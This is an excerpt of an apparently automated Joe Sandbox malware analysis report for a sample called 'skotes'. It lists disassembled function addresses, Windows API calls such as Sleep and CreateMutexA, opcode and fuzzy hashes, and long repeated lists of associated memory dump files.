Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0a678701946f349842b546a0fc1bbe51beb8b39710c450652fa4720f5617b883
Instruction ID: dfdbf7013b1414e16dfb3c07609f014c79f5ece6fbc10a4c1b7908cf81ff929c
Opcode Fuzzy Hash: 0a678701946f349842b546a0fc1bbe51beb8b39710c450652fa4720f5617b883
Instruction Fuzzy Hash: 35213D316082009BFF18AB6CDCC576CF7E1DBC1315F2442A9E508C76E5DB755940C711

Function 00B8A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 73c80cdea3778c0f4033fa5d0402202554f56a452f0df63bb6afd8181c050781
Instruction ID: 055526aa4072eece7cd7a900cb83b238613927c5bd5a7022b5f5676fe372ef8c
Opcode Fuzzy Hash: 73c80cdea3778c0f4033fa5d0402202554f56a452f0df63bb6afd8181c050781
Instruction Fuzzy Hash: F42108712481019BFB2477A9989AB2DB7D1DB81304F2404E7E148D72F1EA659981C363

Function 00B8A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1aeea6e358af0be8d4dae5afd783741ea79ee4f61ddcb2d65ad840c80fed5432
Instruction ID: b9754d7c12ef1227476df7cf639e59ffecc9c5d9392e6f571ef7f4048a8ac6ce
Opcode Fuzzy Hash: 1aeea6e358af0be8d4dae5afd783741ea79ee4f61ddcb2d65ad840c80fed5432
Instruction Fuzzy Hash: 942149317082009BFB18AB6CDD8976CF7E2DBD2315F2442AAE408D76E5DB75A980C352

Non-executed Functions

Function 00B82EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82F5F
__Mtx_unlock.LIBCPMT ref: 00B82FCC
__Cnd_broadcast.LIBCPMT ref: 00B82FE3
__Mtx_unlock.LIBCPMT ref: 00B830F5
__Mtx_unlock.LIBCPMT ref: 00B8319B

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction ID: 479942cec0709f1bc4d82de2cc2f664afcf6444646442ed74ecc6295583c01ea
Opcode Fuzzy Hash: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction Fuzzy Hash: 9EA1C1B0A052059FDF11EF65C948B5ABBF8FF15B10F0481BAE815D72A1EB35EA04CB91

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
